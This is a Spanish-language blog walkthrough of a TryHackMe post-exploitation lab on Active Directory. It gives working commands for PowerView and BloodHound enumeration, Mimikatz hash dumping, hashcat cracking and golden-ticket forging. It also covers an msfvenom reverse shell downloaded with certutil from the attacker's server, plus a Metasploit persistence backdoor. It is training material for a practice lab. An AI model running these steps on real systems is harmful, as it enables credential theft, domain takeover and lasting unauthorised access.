Post Explotación - TryHackMe Room

elc4br4elc4br4
6 min read

¿Qué es la post explotación?

La post-explotación es una fase que se refiere a las acciones que llevan a cabo los atacantes después de haber logrado acceder a un sistema o red. El objetivo principal en esta etapa es mantener el control, recopilar información sensible, escalar privilegios y preparar el camino para futuras acciones, como movimientos laterales o ataques más profundos.


Introducción a la sala

Esta sala cubrirá todos los aspectos básicos de la post-explotación; desde la enumeración post-explotación con powerview y bloodhound, dumping hashes y ataques golden ticket con mimikatz, y terminaremos esta sala hablando de los fundamentos de mantener el acceso con el módulo metasploit de persistencia y la creación de una puerta trasera en la máquina para obtener una shell meterpreter instantánea si el sistema se apaga o se restablece.


Enumeración con PowerView

PowerView es un script de empire-powershell que se puede utilizar para realizar la enumeración y reconocimiento de un dominio tras haber ganado acceso al sistema y tener acceso a una shell.

PowerView posee un listado bastante amplio de comandos por lo que usaremos para esta sala algunos de ellos básicos.

  1. En primer lugar debemos eludir la política de ejecución de scripts de powershell, y para ello ejecutaremos el siguiente comando:
powershell -ep bypass
  1. Después debemos ejecutar PowerView.
. .\PowerView.ps1

  1. Enumeraremos los usuarios existentes en el dominio.
Get-NetUser | select cn

Con este comando lo que estamos haciendo es enumerar los usuarios existentes del dominio y filtrar por el campo cn ("Common Name").

  1. Enumerar grupos del dominio.
Get-NetGroups

Como podemos ver nos lista todos los grupos del dominio, pero podríamos acotarlo filtrando por aquellos que contegan la cadena admin, tanto al comienzo como al final.

Get-NetGroups - GroupName *admin*

  1. Enumerar recursos compartidos con Invoke-ShareFinder.

Invoke-ShareFinder es otra query perteneciente a PowerView.

Invoke-ShareFinder

  1. Mostrar los sistemas operativos de todos los equipos del dominio.
Get-NetComputer -fulldata | select operatingsystem

De nuevo estamos acotando la salida del comando filtrando por el campo “operatingsystem”.

A continuación dejo el enlace a la documentación de PowerSploit donde encontrarás información relativa a PowerView, así como sus funciones.

PowerView Documentation


Enumeración con BloodHound

BloodHound es una herramienta de seguridad y auditoría de redes que permite mapear y analizar las relaciones y permisos en entornos de Active Directory.

Está diseñada para ayudar a los pentesters y profesionales de seguridad a entender cómo los atacantes podrían moverse lateralmente dentro de una red comprometiendo cuentas y privilegios.

En mi caso dispongo de la versión Community instalada en un contenedor.

  1. Primero debemos relectar toda la información del dominio para posteriormente importarla a BloodHound.

Para ello utilizaremos el script SharpHound.ps1 que se encuentra ya en el servidor.

  1. De nuevo debemos eludir la política de ejecución de scripts de powershell, y para ello ejecutaremos el siguiente comando:
powershell -ep bypass
  1. Ejecutamos el script para obtener la información que se almacenará en un archivo -zip llamado blood.zip.
. .\Sharphound.ps1

Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName blood.zip

El siguiente pasó será transferirlo a nuestra máquina atacante para poder importarlo a BloodHound.

Para ello voy a copiar el archivo .zip dentro de uno de los recursos compartidos que encontramos anteriormente.

copy "C:\Users\Administrator\Downloads\20250629131502_blood.zip" "\\127.0.0.1\Share"

Y desde mi máquina atacante como dispongo de las credenciales me conecto y lo descargo.

A continuación subimos el archivo zip a bloodhound.

Una vez subido ya podemos ir lanzando querys.

  1. Listar aquellos usuarios pertencientes al grupo Domain Admins.

  1. Listar los usuarios kerberoasteables.

Para ello hacemos uso de la query "All Kerberoasteable Users/Accounts".

Bloodhound posee muchas más querys predefinidas para diferentes búsquedas, por lo que recomiendo que probéis y practiquéis mucho, ya que es una herramienta maravillosa y muy útil para entornos de AD.


Dumping Hashes con Mimikatz

Mimikatz es una herramienta básica para dumpear credenciales de usuario en entornos de Directorio Activo.

Algunas de sus funcionalidades principales son las siguientes:

  • Extraer hashes de contraseñas (NTLM, LANMAN).

  • Obtener contraseñas en texto claro, si están en memoria.

  • Realizar ataques de pass-the-hash, pass-the-ticket, Kerberos ticket extraction y manipulación.

  • Crear tickets Kerberos falsificados (golden tickets, silver tickets).

Es importante destacar que se necesita disponer de privilegios elevados para ejecutar esta herramienta.

  1. En primer lugar vamos a ejecutar la herramienta.

  1. Verificamos y activamos el privilegio de depuración, y si se ejecuta correctamente como administrador, muestra "Privilege '20' ok".

  1. Ejecutamos la instrucción lsadump::lsa /patchpara extraer los hashes de las cuentas almacenadas en la base de datos de seguridad del sistema.

  1. Posteriormente craqueamos los hashes NTLM de los usuarios.
hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b ./rockyou.txt


Ataque Golden Ticket con Mimikatz

Para realizar este ataque primero necesitaremos obtener el domain SID y el hash del usuario krbtgt.

  1. Obtenemos el SID y el hash del usuario krbtgt.

Ya hemos obtenido el domain SID y el hash NTLM del usuario krbtgt, por lo que el siguiente paso será forjar el golden ticket.

  1. Forjamos el golden ticket:
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:502

Posteriormente se podría utilizar este ticket para ganar acceso a otras máquinas ejecutando el comando:

mimikatz # misc::cmd

Este comando abriría una consola (cmd) con privilegios elevados para todas las máquinas.

Por lo tanto ya podríamos acceder a otras máquinas del dominio con privilegios.


Persistencia

Existen varias formas de mantener el acceso en una máquina o red. En esta ocasión, cubriremos una forma bastante sencilla de mantener el acceso configurando primero un shell de Meterpreter y luego usando el módulo de persistencia de Metasploit, que nos permite crear un servicio de puerta trasera en el sistema. Esto nos dará un shell de Meterpreter instantáneo en caso de que la máquina se apague o reinicie.

También hay otras formas de mantener el acceso, como puertas traseras avanzadas y rootkits.

  1. Primero debemos generar una reverse shell tcp meterpreter básica para Windows.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f exe -o blood.exe

  1. Transferimos la reverse shell a la máquina víctima y desde nuestra máquina atacante utilizamos el listener de metasploit exploit/multi/handler donde recibiremos la conexión.
#Atacante
python3 -m http.server 80
#Víctima
certutil.exe -f -urlcache -split http://<ip>/blood.exe

  1. Tras configurar el listener de metasploit ejecutamos la reverse shell y recibiremos la conexión.

Con el comando background dejaremos la sesión en segundo plano para así poder lanzar el módulo de persistencia y hacerle un attach a la sesión actual.

Utilizaremos el módulo windows/local/persistence que lo que hará es crear una puerta trasera, de forma que si la máquina se apaga o se reinicia no perderemos el acceso remoto.

Si cierro la sesión del meterpreter y vuelvo a ejecutar el listener de nuevo recibiremos la conexión sin necesidad de que se ejecute de nuevo la reverse shell desde la máquina víctima, ya que disponemos del backdoor.

0
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student